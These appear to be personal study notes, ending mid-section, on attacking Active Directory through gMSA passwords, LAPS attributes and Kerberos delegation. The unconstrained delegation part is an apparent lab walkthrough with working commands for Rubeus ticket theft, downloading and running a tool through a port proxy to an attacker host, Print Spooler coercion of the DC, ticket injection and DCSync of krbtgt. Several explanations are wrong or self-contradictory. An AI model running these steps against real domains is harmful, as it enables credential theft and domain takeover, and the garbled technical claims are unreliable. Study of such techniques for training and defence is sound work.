🟥 1. Attribute: PrincipalsAllowedToRetrieveManagedPassword
This is the ONLY attribute that controls who can retrieve the gMSA password.
✔ This attribute contains:
Computer accounts (SERVER01$)
Groups (CN=WebServers,OU=Groups)
Service Accounts
Other security principals
Only the principals listed in this attribute can contact a DC and retrieve:
msDS-ManagedPassword
🟦 How it Works
When a computer wants the gMSA password, it sends a Kerberos AS-REQ to the Domain Controller.
The DC checks:
Is the requester in:
PrincipalsAllowedToRetrieveManagedPassword ?
If YES → DC returns the encrypted password blob.
If NO → Access denied.
Only principals listed in:
PrincipalsAllowedToRetrieveManagedPassword
(or internally msDS-GroupMSAMembership)
Example:
sqlsvc$
Allowed machines:
SQL01$
WEB01$
Meaning:
SQL01$ → can request password
WEB01$ → can request password
🟥 2. Attribute That Stores the Password: msDS-ManagedPassword
This attribute contains the actual password blob, but it is encrypted and cannot be decrypted without:
KDS root key material
gMSA SID
Machine-specific cryptographic info
Only computers in PrincipalsAllowedToRetrieveManagedPassword can successfully decrypt it.
The password is stored as an attribute of the gMSA object in Active Directory.
Inside the blob:
Current password
Previous password
NTLM hash
AES keys
Rotation metadata
🟦 Summary Table
PrincipalsAllowedToRetrieveManagedPassword |msDS-ManagedPassword |msDS-ManagedPasswordInterval |🟥 2. How gMSA Password Rotation Actually Works (Internal Mechanism)
Most people think domain controllers generate the password — WRONG.
✔ TRUE:
Key Distribution Service (KDS) generates keys used to encrypt the password blob.
✔ TRUE:
Domain controllers generate the actual gMSA password and store it in AD.
Internal Working:
🟦 2.1 KDS Root Key
A KDS Root Key is created on DCs:
Add-KdsRootKey –EffectiveImmediately
This key is used to produce per-account encryption keys.
🟦 2.2 gMSA Password Blob
msDS-ManagedPassword is NOT stored in clear text.
It is a complex blob containing:
Current password
Previous password
Password expiry time
Password length
Metadata
The blob is encrypted using:
KDS Root Key + gMSA SID + Domain SID
This ensures:
Only allowed computers can decrypt
Even Domain Admins cannot directly read the plaintext (they would need to run code as SYSTEM on an allowed machine)
🟦 2.3 How a MACHINE retrieves the password
A computer (e.g., SQL01$) sends a Kerberos AS-REQ to the KDC asking:
Give me the managed password for svcSQL$
AD checks:
Does SQL01$ exist in:
PrincipalsAllowedToRetrieveManagedPassword
If YES → DC sends the encrypted blob.
Then the computer decrypts it using the KDS key it knows internally.
🟥 3. What happens if an attacker compromises a machine allowed to retrieve gMSA password?
You can extract the gMSA password ANY TIME.
That means:
You can obtain the raw NTLM hash
You can pass-the-hash
You can run commands as that gMSA account on ANY server
PowerShell extraction example:
$gmsa = Get-ADServiceAccount svcSQL$ -Properties msDS-ManagedPassword
$pwd = ConvertFrom-ADManagedPasswordBlob $gmsa.msDS-ManagedPassword
$pwd.SecureCurrentPassword
To extract the NTLM hash, convert to Unicode → NTLM.
Tools:
Mimikatz (
sekurlsa::ekeys)DSInternals
SharpGMSA (offensive tool)
When a Service Starts
Example: SQL Server on SQL01.
Process:
SQL01 authenticates to Domain Controller
SQL01 requests attribute:
msDS-ManagedPassword
DC checks permission
If allowed → DC returns password blob
SQL01 decrypts it
SQL service logs in as:
CORP\sqlsvc$
🟥 4. Deep Dive: gMSA Permissions in AD
gMSAs have NO privileged rights by default.
But in real environments admins assign:
Local admin on servers
SQL sysadmin
“Act as part of the OS” rights
Constrained/unconstrained delegation
Read access to sensitive OUs
LAPS access (misconfiguration)
So compromise impact depends entirely on assigned rights.
🟥 5. Important gMSA Attributes Explained
msDS-ManagedPassword | Encrypted password blob | Extract password using Kerberos |PrincipalsAllowedToRetrieveManagedPassword | Who can read password | Machine compromise → gMSA takeover |msDS-ManagedPasswordInterval | Password rotation period | Harder to persist without re-extraction |msDS-AllowedToDelegateTo | Constrained delegation targets | Impersonation attacks |msDS-AllowedToActOnBehalfOfOtherIdentity | RBCD control | Impersonate any user |ServicePrincipalName | SPNs for Kerberos | Kerberoasting WITH gMSA creds possible |Why GMSA is used ??
🟥 1. gMSA IS a Service Account (Specialized Type)
A Group Managed Service Account (gMSA) is a NON-interactive, NON-human AD user account built only for services, apps, and scheduled tasks, NOT for login by humans.
It is created under:
CN=Managed Service Accounts
It behaves like:
A user account (with a password & SID)
But runs code/services instead of logging in interactively
🟦 2. Why gMSA is used specifically FOR service accounts
Because gMSA solves the biggest problems with traditional service accounts:
🟢 Traditional Service Account (bad)
Human knows password
Password stored in config files
Password reused on many servers
Password rarely rotated
Hard to manage in multi-server farms
Often part of “Domain Admins” or local admin
🟢 gMSA (good)
Password is never known to humans
Automatically rotated by AD
Only specific servers can retrieve the password
Works across server farms (IIS/SQL/SharePoint/ADFS)
Supports Kerberos authentication
Cannot be used to log in interactively
🟦 3. So YES — a gMSA is a Service Account, but with improvements:
🟥 4. what does a gMSA run?
A gMSA is used to run:
✔ Windows services
(Example: SQL Server, IIS App Pools, Exchange services, AD FS)
Run this service as: LAB\svcSQL$
✔ Scheduled tasks
(Example: automated scripts, backups, monitoring)
✔ Server applications
(Example: Web apps, .NET apps, PowerShell apps)
✔ Cluster or web farm services
(Known for SharePoint, Exchange, AD FS, SQL AGs)
🟥 5. Why it’s called Group MSA?
Because multiple machines (a group) can use the same service account.
This is needed when the same app/service runs on:
Web01
Web02
Web03
Example:
Principals Allowed To Retrieve Managed Password
WEB01$
WEB02$
WEB03$
All three servers can retrieve the same one gMSA password.
Example
1. Multiple gMSA Accounts Exist in AD
In a real AD environment, admins usually create multiple gMSAs, one per service or service group.
Example AD objects:
sqlsvc$
websvc$
backupsvc$
monitoring$
Each is a separate gMSA object with its own:
msDS-ManagedPassword
attribute.
2. Each gMSA Has Its Own Password Blob
For every gMSA:
sqlsvc$
└─ msDS-ManagedPassword → SQL service password
websvc$
└─ msDS-ManagedPassword → IIS service password
backupsvc$
└─ msDS-ManagedPassword → backup service password
Each blob contains:
NTLM hash
AES128 key
AES256 key
password metadata
So if you can read 3 gMSAs, you get 3 hashes.
3. Why NetExec Can Dump Multiple gMSA Hashes
When you run something like:
netexec ldap <DC-IP> -u user -p pass --gmsa
NetExec does:
Step 1 — LDAP Search
It queries Active Directory for objects with:
objectClass = msDS-GroupManagedServiceAccount
LDAP filter:
(&(objectClass=msDS-GroupManagedServiceAccount))
This returns all gMSAs:
sqlsvc$
websvc$
backupsvc$
Step 2 — Attempt to Read Password Attribute
For each gMSA object it tries to read:
msDS-ManagedPassword
If your account has permission → success.
Step 3 — Convert Password Blob
NetExec parses the blob and extracts:
NTLM hash
AES128 key
AES256 key
Step 4 — Print Results
Example output:
sqlsvc$ NTLM: 9b3c2a7e8d...
websvc$ NTLM: f1d2a6b3e4...
backupsvc$ NTLM: a8d4c2f1b7...
So you see multiple hashes.
4. Why You Might Have Permission for Multiple gMSAs
The permission is controlled by:
PrincipalsAllowedToRetrieveManagedPassword
Example configuration:
sqlsvc$
Allowed:
SQL01$
WEB01$
websvc$
Allowed:
WEB01$
WEB02$
backupsvc$
Allowed:
BACKUP01$
WEB01$
If you compromise WEB01:
WEB01$
You can retrieve passwords for:
sqlsvc$
websvc$
backupsvc$
So multiple hashes appear.
5. Real Attack Scenario
Example compromise:
Attacker → WEB01
WEB01 computer account allowed to read:
sqlsvc$
websvc$
backupsvc$
Running NetExec:
netexec ldap dc.corp.local -u web01$ -H <hash> --gmsa
Output:
sqlsvc$ NTLM: xxxxx
websvc$ NTLM: xxxxx
backupsvc$ NTLM: xxxxx
Now attacker can:
Pass-the-Hash
Kerberos authentication
service impersonation
lateral movement
6. Why Pentesters Love gMSA
Because many admins configure it like this:
PrincipalsAllowedToRetrieveManagedPassword:
Domain Computers
Meaning:
ANY MACHINE IN DOMAIN
↓
can read gMSA password
Then one compromise = all gMSA hashes.
7. Visual Summary
Active Directory
│
▼
gMSA Objects
├─ sqlsvc$
├─ websvc$
├─ backupsvc$
│
▼
Each has msDS-ManagedPassword
│
▼
NetExec reads all accessible ones
│
▼
Multiple hashes returned
LAPS
Understanding The Core Concept
🚀 1. What is LAPS (Local Administrator Password Solution)?
LAPS is a Microsoft solution that:
✔ Randomizes the
✔ Stores the password securely in Active Directory
✔ Automatically rotates the password after X days
✔ Controls which users/groups are allowed to read the password
LAPS solves one of the biggest AD security problems:
“Every machine having the SAME local admin password.”
This leads to full domain compromise once one endpoint is hacked.
The “Local Administrator Password Solution” (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.
🔥 2. Why LAPS is important (Core Advantage)
🎯 Advantage #1 — Stops Lateral Movement (Pass-the-Hash / Pass-the-Password)
Without LAPS:
All endpoints have the same local Administrator password
Attacker compromises one machine
Dumps local admin hash
Uses that hash to move laterally to any machine
→ psexec, wmiexec, smbexec
→ Full environment compromise
With LAPS:
Each machine has unique local admin password
Compromising one endpoint → gives password/hash only for that one machine
Cannot be reused elsewhere
Attack is contained
This is LAPS’ primary security benefit.
🎯 Advantage #2 — Automatic password rotation
Admins no longer need to create scripts or GPOs.
LAPS handles:
Password complexity
Password length
Expiration
Automatic reset
🎯 Advantage #3 — Password is not stored locally
It is stored only in Active Directory in the computer object.
Thus an attacker cannot read the password from the local machine.
☑️ 3. Where is the LAPS password stored?
🔹 Location 1: Local Machine (SAM)
On PC01:
✔ Local Administrator account exists
✔ Only Password hash exists
Stored in:
- SAM database
Think:
PC01
│
└── SAM
└── Administrator NT Hash
Important:
⚠️ SAM stores the hash, not the plaintext password.
🔹 Location 2: Active Directory (Computer Object)
Inside AD: PC01$
computer object contains LAPS attributes.
Think:
PC01$
│
├── DNS Name
├── Operating System
├── SPNs
└── LAPS Attributes
📌 Legacy Microsoft LAPS Attributes
Older LAPS used:
✔ ms-Mcs-AdmPwd
Stores:
➡ Current local admin password
✔ ms-Mcs-AdmPwdExpirationTime
Stores:
➡ Password expiration timestamp
Example:
PC01$
│
├── ms-Mcs-AdmPwd
│ = X7!kaP92
│
└── ms-Mcs-AdmPwdExpirationTime
= 2026-07-17
📌 New Windows LAPS (Modern)
Microsoft introduced:
Windows LAPS
New attributes include:
✔ msLAPS-Password
✔ msLAPS-PasswordExpirationTime
✔ msLAPS-EncryptedPassword
✔ Other LAPS-related attributes
Depending on configuration.
🔹 Is This Stored In NTDS.dit?
✅ Yes
This is where people get confused.
Everything in AD objects ultimately resides in:
NTDS.dit
including:
✔ User objects
✔ Group objects
✔ Computer objects
✔ LAPS attributes
Think:
NTDS.dit
│
├── User Objects
├── Group Objects
├── Computer Objects
│ │
│ └── PC01$
│ └── msLAPS-Password
│
└── Other AD Data
🔹 So Where Is The Password Actually?
For a machine managed by LAPS:
On PC01
✔ Administrator account
✔ NT hash
Stored in SAM
In AD
✔ Current LAPS password
Stored as a computer object attribute
Ultimately residing in NTDS.dit
🧠 4. Who can read the LAPS password? (Critical)
Reading LAPS password requires special permissions.
Only groups/accounts with this AD right:
All extended rights → on the computer object
Or specifically granted:
Read ms-Mcs-AdmPwd
Typical readers:
Domain Admins
Help Desk staff
IT Operations
SCCM / Intune automation accounts
If an attacker compromises one of these → they can read passwords for ALL endpoints.
🔐 5. How to Read LAPS Password? (Manual Example)
Using PowerShell (AD RSAT)
Get-ADComputer WIN10-CL01 -Properties ms-Mcs-AdmPwd
Output:
ms-Mcs-AdmPwd : Z>@cN7]f$S2Zy$Xm
If your user has no rights → output is blank.
Using PowerShell LAPS module
Get-AdmPwdPassword -ComputerName WIN10-CL01
🩸 6. Reading LAPS Password using BloodHound
BloodHound detects:
Which users/groups can read LAPS passwords
Which machines have LAPS enabled
Which node has Read LAPS Password privilege
BloodHound right name:
Read LAPS Password
What permission is this?
BloodHound maps this to:
Control Attribute (ms-Mcs-AdmPwd)
and
Read Property
In BloodHound you will see:
User → Computer → “Reads LAPS Password”
Group → Computer → “Reads LAPS Password”
If you have this edge → you can dump.
📋 Complete Permission Matrix
🧨 7. What rights does a user need to read LAPS?
Only two specific rights:
✔ Right 1 — Read ms-Mcs-AdmPwd
ReadProperty
✔ Right 2 — ExtendedRight on Computer Objects
AllExtendedRights
These are granted using:
Delegation Wizard
ACL Editor
Custom OU delegation
If a user has these → they can read the local administrator password for every machine inside that OU.
⚠️ 8. Real-World Attack Scenario (Step-by-Step)
Case: Local Admin on one machine is compromised
Normally:
Attacker dumps local admin NTLM hash
Uses hash to pivot to many machines (Pass-the-Hash)
Compromise spreads everywhere
With LAPS:
Attacker dumps the local admin hash
Tries Pass-the-Hash on another machine
Fails, because password/hash is different
Attack stops there
Unless the attacker has rights to read ms-Mcs-AdmPwd.
🧨 9. Red Team Scenario: Attacker steals LAPS passwords
If attacker compromises a helpdesk/IT account that has LAPS reading privileges, they can:
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd |
Select Name, ms-Mcs-AdmPwd
This gives:
Password for every endpoint
Full lateral movement capability
Often full domain compromise
LAPS is only safe if privileged access is controlled properly.
🧩 10. Summary Table
ms-Mcs-AdmPwd attribute in AD |Get-ADComputer -Properties ms-Mcs-AdmPwd |Example
✅ What LAPS does:
Every few days, each computer automatically changes its local admin password
That password is stored securely in Active Directory
Only authorized users/groups can read it
💡 Result: If one system is hacked, the attacker can’t reuse the local admin password elsewhere because it’s different on every system.
💻 Where is the LAPS Password Stored?
It’s saved in Active Directory under the computer object.
Example:
Computer:
SQL01.INLANEFREIGHT.LOCALIn AD: It stores
ms-Mcs-AdmPwd = 9G#f;p41dcAe,s
Only special groups (like LAPS Admins) can view this.
🔍 As an Attacker: Why You Care
If your current user or another compromised user:
Is in LAPS Admins group, or
Has All Extended Rights on a system
👉 You can read the local admin password for other systems and use it for lateral movement.
🧪 How to Enumerate LAPS
✅ Step 1 – Check Which OUs (Organizational Units) Use LAPS
powershell
Find-LAPSDelegatedGroups
Output:
OU=Servers → LAPS Admins
OU=Workstations → Domain Admins
🧠 Meaning: Users in LAPS Admins or Domain Admins can read local admin passwords.
✅ Step 2 – Check Specific Group Access to Machines
powershell
Find-AdmPwdExtendedRights
Output:
ComputerName Identity Reason
SQL01 INLANEFREIGHT\LAPS Admins Delegated
EXCHG01 INLANEFREIGHT\Domain Admins Delegate
🎯 If you compromise a LAPS Admin, you can read passwords for these computers.
✅ Step 3 – Dump the Actual Local Admin Passwords (if allowed)
powershell
Get-LAPSComputers
Output:
ComputerName Password Expiration
WS01 TCaG-F)3No;l8C 09/26/2020
SQL01 9G#f;p41dcAe,s 09/26/2020
💥 You now have clear-text admin passwords!
Try using psexec, wmiexec, or RDP to connect to those hosts as Administrator.
Unconstrained Delegation
Understanding The Core Concept
🎯 What is Kerberos Delegation?
Kerberos Delegation is a way to allow a service (like a web server) to impersonate a user and access resources on their behalf — e.g., a backend file server or database.
💡 In simple terms:
“A user logs into a front-end server. The server uses that user’s identity to request data from another server — without asking for the user’s credentials again.”
This makes delegation powerful, but also risky if misconfigured.
1️⃣ What Unconstrained Delegation Actually Means
When an account (usually a computer) is configured for unconstrained delegation, the flag set is:
TRUSTED_FOR_DELEGATION
in the userAccountControl attribute.
In the Delegation tab it appears as:
Trust this computer for delegation to any service (Kerberos only)
Key idea:
➡ The service can impersonate users to ANY service in the domain.
There is no restriction list like constrained delegation
2️⃣ What the KDC Does Differently
Normally when a user authenticates to a service, the KDC only sends a service ticket.
But if the target service has unconstrained delegation enabled, the KDC also forwards the user’s TGT.
So the ticket the service receives contains:
User TGS
+
User TGT
This is the crucial part.
The service now has a copy of the user’s TGT.
3️⃣ Why the TGT Matters
A TGT lets you request tickets to ANY service.
Meaning:
TGT → request TGS → any SPN
So if a service receives a user’s TGT, it can request:
CIFS/DC01
LDAP/DC01
HOST/DC01
MSSQLSvc/SQL01
There is no restriction.
How the configuration works ??
1️⃣ The Delegation Setting in Active Directory
Suppose an administrator configures a server:
Inside Active Directory, the computer object has:
Attribute:
Flag enabled:
WEB01
userAccountControl :
TRUSTED_FOR_DELEGATION
In the GUI it appears as:
Trust this computer for delegation to any service (Kerberos only)
Meaning:
WEB01 can act on behalf of users to ANY service
There is no restriction list like constrained delegation.
2️⃣ What the KDC Understands From This Setting
When the Kerberos Key Distribution Center (KDC) sees:
WEB01 → TRUSTED_FOR_DELEGATION
it interprets it as:
If a user authenticates to WEB01
→ WEB01 may need to access other services as that user
So the KDC must give WEB01 the user’s Kerberos credentials.
Specifically:
Forwarded TGT
3️⃣ Example Domain
Environment:
Domain: corp.local
Machines:
DC01
WEB01 (unconstrained delegation enabled)
SQL01
FILE01
Configuration:
WEB01$
userAccountControl:
TRUSTED_FOR_DELEGATION
Permission That Can Lead To Abuse
1️⃣ Conditions Required for Unconstrained Delegation Abuse
For the attack to work, these conditions must exist.
Condition 1 — A computer with unconstrained delegation
Example:
WEB01$
Attribute:
userAccountControl: TRUSTED_FOR_DELEGATION
Meaning:
WEB01 can receive user TGTs
This is usually discovered using tools like
BloodHound.
Condition 2 — Attacker can compromise that server
Example:
Attacker → local admin on WEB01
This could happen via:
credential reuse
RCE
weak service account
lateral movement
Once inside, the attacker controls the system.
Condition 3 — A user authenticates to the server
When a user authenticates:
User → WEB01
The KDC sends:
User TGS
+
User TGT
The TGT is stored inside LSASS memory.
2️⃣ When a User Already Logged Into the Server
If a privileged user (for example Domain Admin) logged in:
Administrator → WEB01
Then inside LSASS:
Administrator TGT
Attacker extracts it using:
Mimikatz
Rubeus
Then they request:
Administrator → CIFS/DC01
Result:
Domain Controller access
That’s the easy scenario.
3️⃣ Is Local Admin Required to Abuse It?
Yes — in almost every practical attack you need local admin on that machine.
Reason:
To extract Kerberos tickets you must access:
LSASS memory
Accessing LSASS requires:
Local Administrator privileges
Without that you normally cannot dump the tickets.
Common tools that read LSASS:
Mimikatz
Rubeus
Both require high privileges.
4️⃣User Authenticates to the Computer
Suppose a domain admin logs into the machine:
Administrator → WEB01
Example access:
RDP login
SMB share
Web application
Now Kerberos authentication begins.
Step 1 — Administrator Requests Service Ticket
Administrator asks the KDC:
Give me a ticket for HOST/WEB01
This is a TGS request.
Step 2 — KDC Checks the Target Computer Object
The KDC looks at the service account:
WEB01$
It reads the attribute:
userAccountControl
and sees:
TRUSTED_FOR_DELEGATION
Meaning:
This computer is trusted to impersonate users.
Step 3 — KDC Issues the Ticket
Normally the KDC would send only:
Service Ticket → WEB01
But because unconstrained delegation is enabled, the KDC sends:
Service Ticket for WEB01
+
Administrator TGT
So the computer receives:
Administrator TGT
5️⃣ Why Attackers Want the Computer With Delegation
Because when anyone authenticates to that machine:
User TGT → stored in LSASS
If attacker controls the machine they can steal:
Domain Admin TGT
Service account TGT
Machine account TGT
6️⃣ Why the TGT Is Valuable
A TGT allows requesting tickets for ANY service in the domain.
So the attacker can now ask the KDC:
Use Administrator TGT
Request ticket for CIFS/DC01
The KDC checks:
Is TGT valid?
Yes.
So it issues:
Administrator → CIFS/DC01
9️⃣ Attacker Uses the Ticket
Now the attacker can access:
\\DC01\C$
as:
Administrator
Or request:
LDAP/DC01
which allows directory operations like replication.
🔟 Result
Because the attacker stole the Administrator TGT, they can act as that user anywhere:
Administrator → SQL01
Administrator → FILE01
Administrator → DC01
Meaning the attacker effectively becomes the Administrator in the domain.
1️⃣1️⃣ Why This Attack Works
The root cause is:
Unconstrained delegation forwards the user's TGT to the computer.
So the machine stores:
User Kerberos credentials
If the attacker controls that machine, they can steal those credentials.
What Happens If No One Logged In Yet
You asked this earlier — very important point.
If LSASS contains no useful TGT, attackers force authentication.
Example:
DC01 → WEB01
Kerberos flow:
1️⃣ DC01 requests:
TGS for HOST/WEB01
2️⃣ KDC checks:
WEB01$ → TRUSTED_FOR_DELEGATION
3️⃣ KDC sends:
DC01$ TGT
to the machine.
Now LSASS contains:
DC01$ TGT
Windows Setup + Example ( PoC )
🔎 Step 1: Reconnaissance — Identify Machines with Unconstrained Delegation
Using PowerView:
Get-DomainComputer -Unconstrained
OR
Get-DomainComputer -Unconstrained | select -ExpandProperty samaccountname -> gives only the name of machine which can be used for unconstrained delegation
Using ActiveDirectory Module:
Get-ADComputer -Filter {TrustedForDelegation -eq $True}
Get-ADUser -Filter {TrustedForDelegation -eq $True}
These commands look for accounts (computers or services) where the TrustedForDelegation property is True.
Note:- After getting the list of machines where unconstrained delegation is enabled, skip the domain controller because, there this feature might be enabled due to business requirement. Always target non DC machines.
🛠 Step 2: Compromise the Delegation-Enabled Host
Assume you compromise a host like dcorp-appsrv (e.g., via RCE, credentials, misconfig, etc.).
This machine is configured with Unconstrained Delegation.
From the above image we can se that appadmin has local admin privileges on dcorp-appsrv and in past in past lectures we compromised the appadmin, using the hash of appadmin we will open its session
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args asktgt /user:appadmin /aes256:68f08715061e4d0790e71b1245bf20b023d08822d2df85bff50a0e8136ffe4cb /opsec /createnetonly:C:\Windows\System32\cmd.exe /show /ptt
Above command will open a appadmin cmd session, on open cmd session run invishell
Now check whether the user appadmin has got local admin privileges on dcorp-appsrv, Using Find-PSRemotingAdminAccess.ps1
C:\AD\Tools\InviShell\RunWithRegistryNonAdmin.bat
. C:\AD\ToolsFind-PSRemotingAdminAccess.ps1
Find-PSRemotingLocalAdminAccess -Domain dollarcorp.moneycorp.local
from above image we can see that some times the command crashes, to come this just mention the domain name in which you are targeting. Output of the command gave that user appadmin has got local admin privileges on dcorp-adminsrv and dcorp-appsrv, we will move forward with dcorp-appsrv
Now run the rubeus in monitor mode dcorp-adminsrv, first copy loader the dcorp-appsrv and then connect wo dcorp-appsrv using winrs.
echo F | xcopy C:\AD\Tools\Loader.exe \\dcorp-appsrv\C$\Users\Public\Loader.exe /Y
and then
winrs -r:dcorp-appsrv cmd
next down enable port fowarding on dcorp-appsrv and then download and execute rubeus on it, before that first host the hfs and upload there rubeus.
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=172.16.100.x
and then
C:\Users\Public\Loader.exe -path http://127.0.0.1:8080/Rubeus.exe -args monitor /targetuser:DCORP-DC$ /interval:5 /nowrap --------------> Continious checks LSSASS of dcorp-appsrv in every 5second to verify if there is any TGT of Domain controller(dcropt-dc$) machine
This continuously monitors LSASS for new Kerberos tickets.
When the DC connects, its TGT will show up.
You extract it in
.kirbiformat (Kerberos ticket file).
🛠 Step 3: Wait or Coerce a Privileged User to Connect
You want a high-privileged account (like Domain Admin or DC) to connect to this machine.
Option A: Wait
A Domain Admin logs in via RDP, SMB or PowerShell remoting.
Their TGT gets cached in LSASS automatically.
Option B: Force (Coerce) Authentication
You use a protocol abuse technique to force the DC to authenticate to dcorp-appsrv.
Why? Because when the DC authenticates, its machine account (dcorp-dc$) will give up its TGT, which is extremely powerful.
Certain Microsoft services/protocols allow coercion — i.e., force a machine to make a network authentication request to another machine (your target).
🔧 Available Coercion Protocols:
(MDI detects this) | DFS Namespace Mgmt | No | 445(SMB) |
The MS-RPRN (Print Spooler) protocol contains a feature that allows any authenticated domain user to coerce any machine with the Print Spooler service running to initiate an authenticated connection to another machine of the attacker’s choice within the same domain
So if Print Spooler is running on DC we can force the DC to connect to the machine where TrustedForDelegation is set to true.
💥 Using SpoolSample (Print Spooler Abuse):
C:\AD\Tools\MS-RPRN.exe \\dcorp-dc.dollarcorp.moneycorp.local \\dcorp-appsrv.dollarcorp.moneycorp.local
This coerces the DC (dcorp-dc) to authenticate to the attacker-controlled appsrv.
Result:
The DC sends a Kerberos TGS that includes its TGT.
LSASS on
appsrvcaches that TGT.
Once compromised, the next step is to capture a TGT of a high-privileged user (e.g., Domain Admin).
📥 Step 4: Capture the Domain Controller’s TGT
Check the Rubeus for TGT of DC.
In above example we got base64 encoded TGT of domain controller.
Optionally, use:
SafetyKatz.exe "sekurlsa::tickets /export"
This dumps all tickets from LSASS into .kirbi files.
🔁 Step 5: Inject the DC’s TGT into Your Session
Now from from high Integrity shell on student Vm Inject the stolen TGT of dcorp-dc$ into another system under your control (e.g., the student VM):
Rubeus.exe ptt /ticket:<TGT_base64_or_path>
OR
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe ptt /ticket:<TGT_base64_or_path>
This will inject the DC’s TGT into your current session — you now effectively are the DC for Kerberos purposes.
OR
To verify whether the TGT has been Imported to the current user session, we can run klist command.
Above example shows we have TGT of domain controller in current user session.
🔓 Step 6: Perform DCSync
Now that you’re impersonating the DC via its TGT, run:
SafetyKatz.exe "lsadump::dcsync /user:dcorp\\krbtgt"
OR
C:\AD\Tools\Loader.exe -path C:\AD\Tools\SafetyKatz.exe "lsadump::Evasive-dcsync /user:dcorp\\krbtgt"
This will perform a DCSync — mimicking a DC and requesting password hashes from Active Directory.
✅ You now have the KRBTGT hash, which means you can:
Forge Golden Tickets
Persist indefinitely in the environment
Become any user in the domain
OR
Now using this AES key we can perform diamond ticket attack and gain the persistance of DC
Constrained Delegation
Understanding The Core Concept
1️⃣ Why Constrained Delegation Exists (Double Hop Problem)
Imagine this setup:
User → WEB01 → SQL01
Example scenario:
User Alice logs into a web application on WEB01
The web application needs to query SQL01 as Alice
But Kerberos has a rule:
A service cannot reuse a user’s TGT to authenticate to another service.
So when Alice connects:
Alice → WEB01
WEB01 receives:
Alice's TGS for HTTP/WEB01
But WEB01 cannot use that ticket to authenticate to SQL01.
So this fails:
WEB01 → SQL01 (as Alice)
This is called the Double Hop Problem.
Hop 1: Alice → WEB01
Hop 2: WEB01 → SQL01 ❌ blocked
2️⃣ Microsoft’s Solution: Delegation
Microsoft introduced delegation so a service could act on behalf of a user.
There are three types:
Unconstrained Delegation
Constrained Delegation
Resource-Based Constrained Delegation (RBCD)
You already studied RBCD, so now we look at Constrained Delegation.
3️⃣ How Constrained Delegation Works
With constrained delegation, the delegating service is configured to access only specific services.
This configuration is stored in:
➡ Control over the delegating service account
That account can be:
a computer account (WEB01$)
a service account (websvc)
sometimes even a user account
WEB01$
msDS-AllowedToDelegateTo:
MSSQLSvc/SQL01.domain.local
CIFS/FILE01.domain.local
Meaning:
WEB01 can impersonate users ONLY to SQL01 and FILE01
Not to DC, not to CIFS, not to LDAP.
How the configuration & verification part works ?? - Correction Needed
4️⃣ Kerberos S4U Extensions (What They Actually Enable)
Kerberos originally required the user to present credentials to get a ticket.
But Microsoft added two extensions so services can request tickets for users.
These extensions are defined in the Kerberos extension:
Service for User to Self (S4U2Self)
Service for User to Proxy (S4U2Proxy)
These allow protocol transition + delegation.
So the flow becomes:
Service → KDC → "Give me ticket for user"
without the user providing a password.
But the KDC performs several validations before issuing anything.
5️⃣ Required AD Configuration (Before Any S4U Works)
For constrained delegation, two AD settings must exist.
1️⃣ Delegation enabled on the service account
Example service:
WEB01$
AD setting in Delegation tab:
Trust this computer for delegation to specified services
Behind the scenes this sets:
userAccountControl flag:
TRUSTED_TO_AUTH_FOR_DELEGATION
This allows protocol transition (S4U2Self).
Without this flag:
S4U2Self = denied
2️⃣ Allowed services list
Attribute:
WEB01$
msDS-AllowedToDelegateTo:
MSSQLSvc/SQL01.domain.local
CIFS/FILE01.domain.local
This list tells the KDC:
WEB01 can delegate ONLY to these SPNs
The KDC checks this during S4U2Proxy.
6️⃣ Step-by-Step Deep Flow
Example environment:
User: Alice
Service: WEB01
Target: SQL01
Goal:
WEB01 → access SQL01 as Alice
Step 1 — Service Gets Its Own TGT
First WEB01 authenticates normally.
WEB01 → KDC
Request:
AS-REQ
Response:
AS-REP
WEB01 receives:
TGT for WEB01$
This ticket is encrypted with the krbtgt key.
So now WEB01 can talk to the KDC.
Step 2 — S4U2Self Request
WEB01 sends a TGS request to the KDC.
Request:
Service: WEB01$
User to impersonate: Alice
SPN requested: HTTP/WEB01
So it says:
"Give me a service ticket for Alice to access me"
What the KDC Checks
The Domain Controller now performs validations.
Check 1 — Does the service exist?
KDC looks up:
servicePrincipalName = HTTP/WEB01
Finds:
WEB01$
So the service is valid.
Check 2 — Is protocol transition allowed?
KDC checks:
userAccountControl
Specifically:
TRUSTED_TO_AUTH_FOR_DELEGATION
If missing:
KDC_ERR_BADOPTION
Ticket denied.
Check 3 — Does the user exist?
KDC looks up:
Alice
If user exists → continue.
Check 4 — Is the user marked sensitive?
KDC checks user attribute:
Account is sensitive and cannot be delegated
This corresponds to:
USER_NOT_DELEGATED
If enabled:
S4U2Self denied
Admins often enable this for:
Domain Admins
Privileged users
Step 3 — Ticket Issued
If all checks pass, the KDC issues Alice Ticket ( TGT ) to WEB01:
Alice → HTTP/WEB01 ticket
Important:
This ticket contains:
PAC (Privilege Attribute Certificate)
Inside the PAC:
User SID
Group SIDs
Privileges
So WEB01 now has proof:
Alice's identity
But the ticket is still only valid for WEB01.
Step 4 — S4U2Proxy Request
Now WEB01 wants to access SQL01.
So it sends another TGS request to the KDC.
Request includes:
Alice → WEB01 ticket
and asks for:
Alice → MSSQLSvc/SQL01
What the KDC Checks Now
This is where constrained delegation validation happens.
Check 1 — Is this ticket forwardable?
The ticket issued in S4U2Self contains a flag:
FORWARDABLE
Without this flag:
S4U2Proxy fails
Check 2 — Is the delegating service allowed?
KDC checks:
msDS-AllowedToDelegateTo
on:
WEB01$
Example:
WEB01$
msDS-AllowedToDelegateTo =
MSSQLSvc/SQL01.domain.local
If SQL01 is not in this list:
KDC_ERR_POLICY
Denied.
Check 3 — SPN match
The requested SPN must match exactly.
Example allowed:
MSSQLSvc/SQL01.domain.local
But request:
CIFS/SQL01
Would fail.
Check 4 — User delegation restrictions
Again KDC checks:
USER_NOT_DELEGATED
If set:
Delegation blocked
Step 5 — Final Ticket Issued
KDC generates:
Alice → MSSQLSvc/SQL01
Ticket.
Encrypted with:
SQL01 service key
So only SQL01 can decrypt it.
Step 6 — Service Uses Ticket
WEB01 now connects:
WEB01 → SQL01
and presents the ticket.
SQL01 decrypts it and sees:
User = Alice
So SQL server believes:
Alice executed the query
7️⃣ Visualizing the Whole Process
1️⃣ WEB01 authenticates
WEB01 → KDC
get TGT
2️⃣ S4U2Self
WEB01 → KDC
